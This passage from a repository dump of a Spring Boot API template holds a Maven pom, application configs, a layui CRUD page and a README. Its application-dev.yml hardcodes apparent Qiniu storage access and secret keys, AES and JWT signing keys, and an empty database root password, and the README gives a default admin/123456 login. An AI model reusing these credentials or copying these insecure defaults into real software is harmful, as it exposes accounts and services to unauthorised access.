https://mvnrepository.com/artifact/com.baomidou/mybatis-plus -->\n<!-- \t\t<dependency>\n\t\t    <groupId>com.baomidou</groupId>\n\t\t    <artifactId>mybatis-plus</artifactId>\n\t\t    <version>3.5.2</version>\n\t\t</dependency> -->\n        \n\n<!-- https://mvnrepository.com/artifact/org.codehaus.groovy/groovy-all -->\n<!--<dependency>\n<groupId>org.codehaus.groovy</groupId>\n<artifactId>groovy-all</artifactId>\n<version>2.4.5</version>\n</dependency>-->\n\t\t<!-- https://mvnrepository.com/artifact/com.fasterxml.jackson.core/jackson-core -->\n<dependency>\n    <groupId>com.fasterxml.jackson.core</groupId>\n    <artifactId>jackson-core</artifactId>\n    <version>2.13.3</version>\n</dependency>\n\t<!-- https://mvnrepository.com/artifact/com.fasterxml.jackson.core/jackson-annotations -->\n<dependency>\n    <groupId>com.fasterxml.jackson.core</groupId>\n    <artifactId>jackson-annotations</artifactId>\n    <version>2.13.3</version>\n</dependency>\n\t<!-- https://mvnrepository.com/artifact/com.fasterxml.jackson.core/jackson-databind -->\n<dependency>\n    <groupId>com.fasterxml.jackson.core</groupId>\n    <artifactId>jackson-databind</artifactId>\n    <version>2.13.3</version>\n</dependency>\n\t<!-- https://mvnrepository.com/artifact/com.fasterxml.jackson.dataformat/jackson-dataformat-yaml -->\n<dependency>\n    <groupId>com.fasterxml.jackson.dataformat</groupId>\n    <artifactId>jackson-dataformat-yaml</artifactId>\n    <version>2.13.3</version>\n</dependency>\n\t<!-- https://mvnrepository.com/artifact/com.fasterxml.jackson.dataformat/jackson-dataformat-xml -->\n<dependency>\n    <groupId>com.fasterxml.jackson.dataformat</groupId>\n    <artifactId>jackson-dataformat-xml</artifactId>\n    <version>2.13.3</version>\n</dependency>\n\t\t<!-- https://mvnrepository.com/artifact/com.fasterxml.jackson.dataformat/jackson-dataformat-properties -->\n<dependency>\n    <groupId>com.fasterxml.jackson.dataformat</groupId>\n    <artifactId>jackson-dataformat-properties</artifactId>\n    <version>2.13.3</version>\n</dependency>\n\t<!-- https://mvnrepository.com/artifact/org.dom4j/dom4j -->\n<dependency>\n    <groupId>org.dom4j</groupId>\n    <artifactId>dom4j</artifactId>\n    <version>2.1.3</version>\n</dependency>\n\t<!-- https://mvnrepository.com/artifact/net.sf.json-lib/json-lib -->\n<!-- <dependency>\n    <groupId>net.sf.json-lib</groupId>\n    <artifactId>json-lib</artifactId>\n    <version>2.4</version>\n</dependency> -->\n\t<!-- https://mvnrepository.com/artifact/com.google.code.gson/gson -->\n<dependency>\n    <groupId>com.google.code.gson</groupId>\n    <artifactId>gson</artifactId>\n    <version>2.9.0</version>\n</dependency>\n\n\t\t\n\t\t\n\t\t\n        \n\n        <!--shiro 依赖-->\n        <dependency>\n            <groupId>org.apache.shiro</groupId>\n            <artifactId>shiro-spring</artifactId>\n            <version>${shiro.version}</version>\n        </dependency>\n        <!--lombok-->\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n        </dependency>\n        <!--fastJson-->\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>fastjson</artifactId>\n            <version>${fastjson.version}</version>\n        </dependency>\n\n        <!--thymeleaf默认使用html5规则标签必须闭合等 使用次此包正常解析-->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-thymeleaf</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>com.github.theborakompanioni</groupId>\n            <artifactId>thymeleaf-extras-shiro</artifactId>\n            <version>${thymeleaf-shiro.version}</version>\n        </dependency>\n        \n\n\n        <dependency>\n            <groupId>com.github.xiaoymin</groupId>\n            <artifactId>knife4j-spring-boot-starter</artifactId>\n            <version>${knife4j.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>commons-lang</groupId>\n            <artifactId>commons-lang</artifactId>\n            <version>${commons.lang.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>commons-io</groupId>\n            <artifactId>commons-io</artifactId>\n            <version>${commons.io.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>commons-configuration</groupId>\n            <artifactId>commons-configuration</artifactId>\n            <version>${commons.configuration.version}</version>\n        </dependency>\n        <dependency>\n            <artifactId>velocity</artifactId>\n            <groupId>org.apache.velocity</groupId>\n            <version>${velocity.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.quartz-scheduler</groupId>\n            <artifactId>quartz</artifactId>\n            <version>${quartz.version}</version>\n            <exclusions>\n                <exclusion>\n                    <groupId>com.mchange</groupId>\n                    <artifactId>c3p0</artifactId>\n                </exclusion>\n                <exclusion>\n                    <groupId>com.zaxxer</groupId>\n                    <artifactId>HikariCP-java6</artifactId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n        <dependency>\n            <groupId>com.github.whvcse</groupId>\n            <artifactId>easy-captcha</artifactId>\n            <version>${easy-captcha.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>commons-codec</groupId>\n            <artifactId>commons-codec</artifactId>\n            <version>1.13</version>\n        </dependency>\n        \n        <!-- JWT -->\n        <dependency>\n            <groupId>com.auth0</groupId>\n            <artifactId>java-jwt</artifactId>\n            <version>3.3.0</version>\n        </dependency>\n\n        <!-- Redis-Jedis -->\n        <dependency>\n            <groupId>redis.clients</groupId>\n            <artifactId>jedis</artifactId>\n            <version>2.9.0</version>\n        </dependency>\n    </dependencies>\n\n    <!-- 依赖声明 -->\n    <dependencyManagement>\n        <dependencies>\n            <!-- SpringBoot的依赖配置-->\n            <dependency>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-dependencies</artifactId>\n                <!-- <version>2.6.9</version> -->\n                <!-- <version>2.3.12.RELEASE</version> -->\n                <!-- <version>2.4.13</version> -->\n                <version>2.5.14</version>\n                <type>pom</type>\n                <scope>import</scope>\n            </dependency>\n        </dependencies>\n    </dependencyManagement>\n\n    <build>\n        <plugins>\n            <plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-compiler-plugin</artifactId>\n\t\t\t\t<version>3.8.0</version>\n\t\t\t\t<configuration>\n\t\t\t\t\t<source>1.8</source>\n\t\t\t\t\t<target>1.8</target>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n                <version>2.6.2</version>\n                <!-- \t            <version>1.3.0.BUILD-SNAPSHOT</version> -->\n                <executions>\n                    <execution>\n                        <goals>\n                            <goal>repackage</goal>\n                        </goals>\n                    </execution>\n                </executions>\n            </plugin>\n        </plugins>\n    </build>\n\n    <repositories>\n        <repository>\n            <id>aliyun-repos</id>\n            <url>http://maven.aliyun.com/nexus/content/groups/public/</url>\n            <snapshots>\n                <enabled>false</enabled>\n            </snapshots>\n        </repository>\n    </repositories>\n\n    <pluginRepositories>\n        <pluginRepository>\n            <id>aliyun-plugin</id>\n            <url>http://maven.aliyun.com/nexus/content/groups/public/</url>\n            <snapshots>\n                <enabled>false</enabled>\n            </snapshots>\n        </pluginRepository>\n    </pluginRepositories>\n</project>\n"
  },
  {
    "path": "java_project_template/jun_api_service_admin/src/main/java/com/jun/plugin/ApiServiceApplication.java",
    "content": "package com.jun.plugin;\n\nimport com.alibaba.druid.spring.boot.autoconfigure.DruidDataSourceAutoConfigure;\nimport lombok.extern.slf4j.Slf4j;\nimport org.mybatis.spring.annotation.MapperScan;\nimport org.springframework.boot.CommandLineRunner;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.boot.web.servlet.ServletComponentScan;\nimport org.springframework.context.ApplicationContext;\nimport org.springframework.context.ConfigurableApplicationContext;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.core.env.Environment;\n\nimport java.net.InetAddress;\n@Slf4j\n@SpringBootApplication(exclude = DruidDataSourceAutoConfigure.class)\n@MapperScan(\"com.jun.plugin.**.mapper\")\n@ServletComponentScan(basePackages = {\"com.jun.plugin.**.filter\"})\npublic class ApiServiceApplication {\n\n    public static void main(String[] args) throws Exception {\n        ConfigurableApplicationContext application = SpringApplication.run(ApiServiceApplication.class, args);\n\n        Environment env = application.getEnvironment();\n        log.info(\"\\n----------------------------------------------------------\\n\\t\" +\n                        \"Application '{}' is running! Access URLs:\\n\\t\" +\n                        \"Api Test Json: \\thttp://{}:{}/public/json\\n\\t\" +\n                        \"Api Code Generator: \\thttp://{}:{}/generator/list.html\\n\\t\" +\n                        \"----------------------------------------------------------\",\n                env.getProperty(\"spring.application.name\"),\n                InetAddress.getLocalHost().getHostAddress(),\n                env.getProperty(\"server.port\"),\n                InetAddress.getLocalHost().getHostAddress(),\n                env.getProperty(\"server.port\"));\n    }\n\n\n    @Bean\n    public CommandLineRunner commandLineRunner(ApplicationContext ctx) {\n        return args -> {\n            System.out.println(\"Let's inspect the beans provided by Spring Boot:\");\n            String[] beanNames = ctx.getBeanDefinitionNames();\n            System.err.println(\"beanNames size = \"+ beanNames.length);\n            for (String beanName : beanNames) {\n                //System.err.println(beanName);\n                /*\n                 * Object bean = ctx.getBean(beanName); System.out.println(bean);\n                 * System.out.println();\n                 */\n            }\n\n        };\n    }\n\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_admin/src/main/resources/application-dev.yml",
    "content": "# 开发环境配置\nspring:\n  thymeleaf:\n    cache: false\n  datasource:\n    type: com.alibaba.druid.pool.DruidDataSource\n    url: jdbc:mysql://localhost:3306/db_qixing?useUnicode=true&useSSL=false&characterEncoding=utf8&serverTimezone=GMT%2b8\n    username: root\n    password: \n    driver-class-name: com.mysql.cj.jdbc.Driver\n#    initialSize: 10\n#    minIdle: 10\n#    maxActive: 40\n#    maxWait: 60000\n#    test-on-borrow: true\n#    test-while-idle: true\n#    dynamic:\n#      primary: master #设置默认的数据源或者数据源组,默认值即为master\n#      datasource:\n#        master:\n#          username: root\n#          password: \n#          driver-class-name: com.mysql.cj.jdbc.Driver\n#          url: jdbc:mysql://localhost:3306/test666?useUnicode=true&useSSL=false&characterEncoding=utf8&serverTimezone=GMT%2b8\n#        oracle:\n#          username: root\n#          password: \n#          driver-class-name: oracle.jdbc.driver.OracleDriver\n#          url: jdbc:oracle:thin:@localhost:1521/company_project\n#        sqlServer:\n#          username: sa\n#          password: 123456\n#          driver-class-name: com.microsoft.sqlserver.jdbc.SQLServerDriver\n#          url: jdbc:sqlserver://localhost:1433;databaseName=company_project\n  redis:\n    host: localhost # Redis服务器地址\n    database: 0 # Redis数据库索引（默认为0）\n    port: 6379 # Redis服务器连接端口\n    password: # Redis服务器连接密码（默认为空）\n    jedis:\n      pool:\n        max-active: 8 # 连接池最大连接数（使用负值表示没有限制）\n        max-wait: -1 # 连接池最大阻塞等待时间（使用负值表示没有限制）\n        max-idle: 8 # 连接池中的最大空闲连接\n        min-idle: 0 # 连接池中的最小空闲连接\n    timeout: 13000 # 连接超时时间（毫秒\n\nfilepath: \"D:\\\\files\\\\\"\nfile:\n  #文件上传目录 绝对路径 末尾请加 /\n  path: D:/files/ #windows\n  #path: /home/data/files/ #linux\n  #文件预览、下载的url, 末尾请勿加 /\n  url: http://qixing.vip321.vip/files\n  qiniuAccessKey: ts0n9OF16ekFkDkZTTlpmyPI-tP3HKQDyw_GR4o2\n  qiniuBucketName: qixing-files\n  qiniuDomain: http://qiniu.vip321.vip\n  qiniuPrefix: upload\n  qiniuSecretKey: c-OjjwV3ZgzCQwxc6W_bsTFKuDg8qeyqohyJU0RL\n  type: 1\n\n  \n# AES密码加密私钥(Base64加密)\nencryptAESKey: V2FuZzkyNjQ1NGRTQkFQSUpXVA==\n# JWT认证加密私钥(Base64加密)\nencryptJWTKey: U0JBUElKV1RkV2FuZzkyNjQ1NA==\n# AccessToken过期时间-5分钟-5*60(秒为单位)\naccessTokenExpireTime: 300\n# RefreshToken过期时间-30分钟-30*60(秒为单位)\nrefreshTokenExpireTime: 1800\n# Shiro缓存过期时间-5分钟-5*60(秒为单位)(一般设置与AccessToken过期时间一致)\nshiroCacheExpireTime: 300"
  },
  {
    "path": "java_project_template/jun_api_service_admin/src/main/resources/application.yml",
    "content": "# 端口\nserver:\n  port: 8088\n\nspring:\n  profiles:\n    active: dev\n  mvc:\n    throw-exception-if-no-handler-found: true\n  resources:\n    add-mappings: false\n  application:\n    name: jun_springboot_api\n  jackson:\n    date-format: yyyy-MM-dd HH:mm:ss\n    time-zone: GMT+8\n  # 文件大小限制\n  servlet:\n    multipart:\n      max-file-size: 10MB\n      max-request-size: 100MB\n  # redis token信息\n  redis:\n    key:\n      prefix:\n        userToken: \"user:token:\"\n        passwordError: \"user:password:error:\"\n        permissionRefresh: \"user:token:permissionRefresh:\"\n      expire:\n        userToken: 604800 # 7天 7*24*3600\n        passwordError: 3600 # 一个小时\n        permissionRefresh: 604800 # 7天 7*24*3600\n    allowMultipleLogin: true # 允许多处登陆\n\nmybatis-plus:\n  configuration:\n    log-impl: org.apache.ibatis.logging.stdout.StdOutImpl\n  mapper-locations: classpath:mapper/${project.database}/**/*.xml,classpath:mapper/*.xml\n  global-config:\n    db-config:\n      logic-delete-value: 0\n      logic-not-delete-value: 1\n      logic-delete-field: deleted\n\n#使用代码生成模块时 指定要生成的表存在于哪种数据库，可选值有【mysql、oracle、sqlServer】\nproject:\n  database: mysql\n\nshiro:\n  enable: false"
  },
  {
    "path": "java_project_template/jun_api_service_admin/src/main/resources/logback-spring.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<configuration>\n    <!-- 这里面定义了 CONSOLE_LOG_PATTERN, FILE_LOG_PATTERN 等日志格式, 还定义了一些日志级别 -->\n    <include resource=\"org/springframework/boot/logging/logback/defaults.xml\"/>\n\n    <property name=\"LOG_LEVEL\" value=\"INFO\"/>\n    <property name=\"LOG_PATH\" value=\"log\"/>\n    <property name=\"LOG_FILE\" value=\"project_manager.log\"/>\n    <property name=\"LOG_HISTORY\" value=\"project_manager.%d{yyyy-MM-dd}.log\"/>\n\n    <!--日志输出到控制台-->\n    <appender name=\"CONSOLE\" class=\"ch.qos.logback.core.ConsoleAppender\">\n        <encoder>\n            <pattern>${CONSOLE_LOG_PATTERN}</pattern>\n        </encoder>\n    </appender>\n\n    <!--日志输出到文件-->\n    <springProfile name=\"!dev\">\n        <appender name=\"FILE\" class=\"ch.qos.logback.core.rolling.RollingFileAppender\">\n            <file>${LOG_PATH}/${LOG_FILE}</file>  <!-- 可自己定义 -->\n            <encoder>\n                <pattern>${FILE_LOG_PATTERN}</pattern> <!-- 输出格式也可自己定义 -->\n            </encoder>\n            <rollingPolicy class=\"ch.qos.logback.core.rolling.TimeBasedRollingPolicy\">\n                <fileNamePattern>${LOG_PATH}/${LOG_HISTORY}</fileNamePattern>\n                <maxHistory>30</maxHistory>\n            </rollingPolicy>\n        </appender>\n    </springProfile>\n\n    <!--异步到文件-->\n    <springProfile name=\"!dev\">\n        <appender name=\"asyncFileAppender\" class=\"ch.qos.logback.classic.AsyncAppender\">\n            <discardingThreshold>0</discardingThreshold>\n            <queueSize>500</queueSize>\n            <appender-ref ref=\"FILE\"/>\n        </appender>\n    </springProfile>\n\n\n    <!--开发环境:打印控制台-->\n    <springProfile name=\"dev\">\n        <!-- 打印sql -->\n        <logger name=\"com.jun.plugin.system\" level=\"DEBUG\"/>\n        <root level=\"${LOG_LEVEL}\">\n            <appender-ref ref=\"CONSOLE\"/>\n        </root>\n    </springProfile>\n\n    <!-- 输出格式 appender -->\n    <springProfile name=\"!dev\">\n        <root level=\"${LOG_LEVEL}\">\n            <appender-ref ref=\"CONSOLE\"/>\n            <appender-ref ref=\"asyncFileAppender\"/>\n        </root>\n    </springProfile>\n\n\n</configuration>"
  },
  {
    "path": "java_project_template/jun_api_service_admin/src/main/resources/templates/biztest/list.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\" xmlns:shiro=\"http://www.pollix.at/thymeleaf/shiro\"\n      xmlns:th=\"http://www.thymeleaf.org\">\n<head>\n  <meta charset=\"UTF-8\">\n  <title>Title</title>\n  <link rel=\"stylesheet\" href=\"/layui/css/layui.css\">\n  <link rel=\"stylesheet\" href=\"/css/custom.form.css\">\n</head>\n<body>\n<div class=\"panel panel-default operation\" hidden>\n  <div class=\"panel-heading title\"></div>\n<div class=\"layui-card-body\">\n<form class=\"layui-form \" action=\"\" lay-filter=\"info\" style=\"width: 700px;margin-top: 10px\">\n      <input name=\"id\" hidden/>\n        <div class=\"layui-form-item\">\n      <label class=\"layui-form-label\">客户名称</label>\n      <div class=\"layui-input-block\">\n        <input type=\"cusname\" name=\"cusname\" placeholder=\"请输入客户名称\" autocomplete=\"off\" class=\"layui-input\">\n      </div>\n    </div>\n        <div class=\"layui-form-item\">\n      <label class=\"layui-form-label\">注册金额</label>\n      <div class=\"layui-input-block\">\n        <input type=\"money\" name=\"money\" placeholder=\"请输入注册金额\" autocomplete=\"off\" class=\"layui-input\">\n      </div>\n    </div>\n        <div class=\"layui-form-item\">\n      <label class=\"layui-form-label\">客户描述</label>\n      <div class=\"layui-input-block\">\n        <input type=\"cusdesc\" name=\"cusdesc\" placeholder=\"请输入客户描述\" autocomplete=\"off\" class=\"layui-input\">\n      </div>\n    </div>\n        <div class=\"layui-form-item\">\n      <label class=\"layui-form-label\">客户全称</label>\n      <div class=\"layui-input-block\">\n        <input type=\"fullname\" name=\"fullname\" placeholder=\"请输入客户全称\" autocomplete=\"off\" class=\"layui-input\">\n      </div>\n    </div>\n        <div class=\"layui-form-item\">\n      <label class=\"layui-form-label\">客户性质</label>\n      <div class=\"layui-input-block\">\n        <input type=\"dictCussex\" name=\"dictCussex\" placeholder=\"请输入客户性质\" autocomplete=\"off\" class=\"layui-input\">\n      </div>\n    </div>\n        <div class=\"layui-form-item\">\n      <label class=\"layui-form-label\">注册时间</label>\n      <div class=\"layui-input-block\">\n        <input type=\"registerDate\" name=\"registerDate\" placeholder=\"请输入注册时间\" autocomplete=\"off\" class=\"layui-input\">\n      </div>\n    </div>\n        <div class=\"layui-form-item\">\n      <label class=\"layui-form-label\">客户类型</label>\n      <div class=\"layui-input-block\">\n        <input type=\"dictCustype\" name=\"dictCustype\" placeholder=\"请输入客户类型\" autocomplete=\"off\" class=\"layui-input\">\n      </div>\n    </div>\n        <div class=\"layui-form-item\">\n      <label class=\"layui-form-label\"></label>\n      <div class=\"layui-input-block\">\n        <input type=\"refId\" name=\"refId\" placeholder=\"请输入\" autocomplete=\"off\" class=\"layui-input\">\n      </div>\n    </div>\n        <div class=\"layui-form-item\">\n      <label class=\"layui-form-label\">关联子客户名称</label>\n      <div class=\"layui-input-block\">\n        <input type=\"refTitleUsername\" name=\"refTitleUsername\" placeholder=\"请输入关联子客户名称\" autocomplete=\"off\" class=\"layui-input\">\n      </div>\n    </div>\n        <div class=\"layui-form-item\">\n      <label class=\"layui-form-label\">备注</label>\n      <div class=\"layui-input-block\">\n        <input type=\"remark\" name=\"remark\" placeholder=\"请输入备注\" autocomplete=\"off\" class=\"layui-input\">\n      </div>\n    </div>\n  <div class=\"layui-form-item\">\n  <div class=\"layui-input-block\">\n    <button type=\"submit\" class=\"layui-btn\" lay-submit=\"\" lay-filter=\"submit\">保存</button>\n    <button  class=\"layui-btn layui-btn-primary\" id=\"btn_cancel\">返回</button>\n  </div>\n</div>\n</form>\n</div>\n</div>\n\n<div class=\"table_div\">\n  <div id=\"searchParam\"  shiro:hasPermission=\"bizTest:list\">\n    <div class=\"layui-form-item\">\n      <div class=\"layui-input-inline\">\n        <input type=\"text\" id=\"key\" class=\"layui-input\"  autocomplete=\"off\" placeholder=\"请输入\">\n      </div>\n\n      <div class=\"layui-input-inline \">\n        <button class=\"layui-btn\" onclick=\"search()\"  id=\"search\">查询</button>\n        <button class=\"layui-btn\"   id=\"export\">导出全部</button>\n      </div>\n    </div>\n\n  </div>\n  <table class=\"layui-table\" id=\"showTable\" lay-filter=\"showTable\" ></table>\n</div>\n<script type=\"text/html\" id=\"toolbar\">\n  <div class=\"layui-btn-container\">\n    <button class=\"layui-btn layui-btn-sm\" lay-event=\"add\"  shiro:hasPermission=\"bizTest:add\">添加</button>\n    <button class=\"layui-btn layui-btn-sm\" lay-event=\"batchDeleted\" shiro:hasPermission=\"bizTest:delete\">删除</button>\n  </div>\n</script>\n<script type=\"text/html\" id=\"tool\">\n  <a class=\"layui-btn layui-btn-xs\" lay-event=\"edit\" shiro:hasPermission=\"bizTest:update\">编辑</a>\n  <a class=\"layui-btn layui-btn-danger layui-btn-xs\" lay-event=\"del\" shiro:hasPermission=\"bizTest:delete\">删除</a>\n</script>\n\n</body>\n</html>\n<script src=\"/layui/layui.all.js\"></script>\n<script src=\"/js/core.util.js\"></script>\n<script>\n  //获取token\n  var token = CoreUtil.getData(\"access_token\");\n  //地址栏转义token中的#号\n  var tokenQuery = token.replace(\"#\", \"%23\");\n  var tableIns1;\n  var table = layui.table;\n  var form = layui.form;\n  var layer = layui.layer;\n  var $ = jQuery = layui.jquery;\n  var laydate = layui.laydate;\n\n  layui.use(['table', 'layer', 'laydate'], function () {\n\n    //加载table\n    tableIns1 = table.render({\n      elem: '#showTable'\n      , contentType: 'application/json'\n      , headers: {\"authorization\": token}\n      , page: true //开启分页\n      , url: '/bizTest/listByPage' //数据接口\n      , method: 'POST'\n      , parseData: function (res) { //将原始数据解析成 table 组件所规定的数据\n        return {\n          \"code\": res.code, //解析接口状态\n          \"msg\": res.msg, //解析提示文本\n          \"count\": CoreUtil.isEmpty(res.data) ? 0 : res.data.total, //解析数据长度\n          \"data\": CoreUtil.isEmpty(res.data) ? null : res.data.records //解析数据列表\n        }\n      }\n      , cols: [\n        [\n          {type: 'checkbox', fixed: 'left'},\n          {field: 'id', title: '', sort: true},\n          {field: 'cusname', title: '客户名称', sort: true},\n          {field: 'money', title: '注册金额', sort: true},\n          {field: 'cusdesc', title: '客户描述', sort: true},\n          {field: 'fullname', title: '客户全称', sort: true},\n          {field: 'dictCussex', title: '客户性质', sort: true},\n          {field: 'registerDate', title: '注册时间', sort: true},\n          {field: 'dictCustype', title: '客户类型', sort: true},\n          {field: 'refId', title: '', sort: true},\n          {field: 'refTitleUsername', title: '关联子客户名称', sort: true},\n          {field: 'remark', title: '备注', sort: true},\n          {width: 120, toolbar: \"#tool\", title: '操作'}\n        ]\n      ]\n      , toolbar: '#toolbar'\n    });\n\n\n    //表头工具\n    table.on('toolbar(showTable)', function(obj){\n      switch(obj.event){\n        case 'batchDeleted':\n          var checkStatus = table.checkStatus(obj.config.id);\n          var data = checkStatus.data;\n          if(data.length==0){\n            layer.msg(\"请选择要批量删除的列\");\n          }else {\n            var ids = [];\n            $(data).each(function (index,item) {\n              ids.push(item.id);\n            });\n            tipDialog(ids);\n          }\n          break;\n        case 'add':\n          $(\".table_div\").hide();\n          $(\".operation\").show();\n          $(\".title\").html(\"新增\");\n          $(\".operation input[name=id]\").val(\"\");\n          $(\".operation input[name=cusname]\").val(\"\");\n          $(\".operation input[name=money]\").val(\"\");\n          $(\".operation input[name=cusdesc]\").val(\"\");\n          $(\".operation input[name=fullname]\").val(\"\");\n          $(\".operation input[name=dictCussex]\").val(\"\");\n          $(\".operation input[name=registerDate]\").val(\"\");\n          $(\".operation input[name=dictCustype]\").val(\"\");\n          $(\".operation input[name=refId]\").val(\"\");\n          $(\".operation input[name=refTitleUsername]\").val(\"\");\n          $(\".operation input[name=remark]\").val(\"\");\n          break;\n      };\n    });\n    //列操作\n    table.on('tool(showTable)',function (obj) {\n      var data = obj.data;\n      switch (obj.event) {\n        case 'del':\n          var ids=[];\n          ids.push(data.id);\n          tipDialog(ids);\n          break;\n        case 'edit':\n          $(\".table_div\").hide();\n          $(\".operation\").show();\n          $(\".title\").html(\"编辑\");\n          $(\".operation input[name=id]\").val(data.id);\n          $(\".operation input[name=cusname]\").val(data.cusname);\n          $(\".operation input[name=money]\").val(data.money);\n          $(\".operation input[name=cusdesc]\").val(data.cusdesc);\n          $(\".operation input[name=fullname]\").val(data.fullname);\n          $(\".operation input[name=dictCussex]\").val(data.dictCussex);\n          $(\".operation input[name=registerDate]\").val(data.registerDate);\n          $(\".operation input[name=dictCustype]\").val(data.dictCustype);\n          $(\".operation input[name=refId]\").val(data.refId);\n          $(\".operation input[name=refTitleUsername]\").val(data.refTitleUsername);\n          $(\".operation input[name=remark]\").val(data.remark);\n          break;\n      }\n    });\n\n    //导出\n    $('#export').on('click', function () {\n      //原先分页limit\n      var exportParams = {\n        limit: 10000,\n        key: $(\"#key\").val()\n      };\n      CoreUtil.sendPost(\"/bizTest/listByPage\", exportParams, function (res) {\n        //初始化渲染数据\n        if (res.data != null && res.data.records != null) {\n          table.exportFile(tableIns1.config.id, res.data.records, 'xls');\n        }\n      });\n    });\n\n    //删除\n    var tipDialog=function (ids) {\n      layer.open({\n        content: \"确定要删除么?\",\n        yes: function(index, layero){\n          layer.close(index); //如果设定了yes回调，需进行手工关闭\n          CoreUtil.sendDelete(\"/bizTest/delete\",ids,function (res) {\n            layer.msg(res.msg, {time:1000},function () {\n              search();\n            });\n          });\n        }\n      });\n    };\n\n    //返回\n    $(\"#btn_cancel\").click(function() {\n      $(\".table_div\").show();\n      $(\".operation\").hide();\n      return false;\n    });\n\n    //监听保存\n    form.on('submit(submit)', function(data){\n      if(data.field.id===undefined || data.field.id===null || data.field.id===\"\"){\n        CoreUtil.sendPost(\"/bizTest/add\",data.field,function (res) {\n          $(\".table_div\").show();\n          $(\".operation\").hide();\n          search();\n        });\n      }else {\n        CoreUtil.sendPut(\"/bizTest/update\",data.field,function (res) {\n          $(\".table_div\").show();\n          $(\".operation\").hide();\n          search();\n        });\n      }\n\n      return false;\n    });\n  });\n\n  //执行查询\n  function search() {\n    //这里以搜索为例\n    tableIns1.reload({\n      where: { //设定异步数据接口的额外参数，任意设\n        key: $(\"#key\").val()\n      }\n      , page: {\n        curr: 1 //重新从第 1 页开始\n      }\n    });\n  };\n</script>"
  },
  {
    "path": "java_project_template/jun_api_service_demo/.gitignore",
    "content": "target/\n\n### STS ###\n.apt_generated\n.classpath\n.factorypath\n.project\n.settings\n.springBeans\n\n### IntelliJ IDEA ###\n.idea\n*.iws\n*.iml\n*.ipr\n\n### NetBeans ###\nnbproject/private/\nbuild/\nnbbuild/\ndist/\nnbdist/\n.nb-gradle/"
  },
  {
    "path": "java_project_template/jun_api_service_demo/README.md",
    "content": "## 简介\nSpring Boot API 是一个基于Spring Boot & MyBatis plus的种子项目，用于快速构建中小型API项目，特点稳定、简单、快速，摆脱那些重复劳动\n\n## 特征&提供\n- 统一响应结果封装及生成工具\n- 统一异常处理\n- 采用简单的jwt认证\n- 使用Druid Spring Boot Starter 集成Druid数据库连接池与监控\n- 集成MyBatis-Plus，实现单表业务零SQL\n- 支持多数据源，自由切换，只需方法或类上用 @DS 切换数据源\n- 集成国人风格的knife4j，自动生成接口文档\n- 提供代码生成器，生成controller,service,serviceImpl,dao,mapper.xml\n\n## 快速开始\n1. 克隆项目\n2. 导入```test```包里的mysql脚本user.sql\n3. 对```test```包内的代码生成器```CodeGenerator```进行配置，主要是JDBC，因为要根据表名来生成代码\n4. 输入表名，运行```CodeGenerator.main()```方法，生成基础代码（可能需要刷新项目目录才会出来）\n5. 根据业务在基础代码上进行扩展\n6. 对开发环境配置文件```application-dev.yml```进行配置，启动项目，Have Fun！\n\n## 开发建议\n- post调用接口ip:8080/api/user/login,参数json: {\"username\":\"admin\",\"password\":\"123456\"},调用成功后, 返回token。以后调用api接口，header中传token\n- 正式环境已禁用接口文档的查看，配置文件添加knife4j:production: true 即可\n- Model内成员变量建议与表字段数量对应，如需扩展成员变量（比如连表查询）建议创建DTO，否则需在扩展的成员变量上加@TableField(exist = false)，详见[MyBatis-Plus](https://mp.baomidou.com/guide/)文档说明\n- 建议业务失败直接使用ServiceException(\"ErrorMessage\")抛出，由统一异常处理器来封装业务失败的响应结果，会直接被封装为{\"code\":400,\"message\":\"ErrorMessage\"}返回，尽情抛出；body方式传参，@Valid校验Model，更无需自己处理；\n\n## 接口文档效果图\n![image-20200313084433855](http://tuchuang.aitangbao.com.cn/image-20200313084433855.png)\n\n## 相关文档\n- Spring Boot（[springboot官方](https://spring.io/projects/spring-boot/)）\n- MyBatis-Plus ([查看官方中文文档](https://mp.baomidou.com/guide/))\n- MyBatis-Plus分页插件（[查看官方中文文档](https://mp.baomidou.com/guide/page.html)）\n- Druid Spring Boot Starter（[查看官方中文文档](https://github.com/alibaba/druid/tree/master/druid-spring-boot-starter/)）\n- Fastjson（[查看官方中文文档](https://github.com/Alibaba/fastjson/wiki/%E9%A6%96%E9%A1%B5)）\n- 阿里巴巴Java开发手册[最新版下载](https://github.com/alibaba/p3c)\n其他\n\n## License\n纯粹开源分享，感谢大家 [Star](https://github.com/aitangbao/springboot-api) 的支持。\n"
  },
  {
    "path": "java_project_template/jun_api_service_demo/pom.xml",
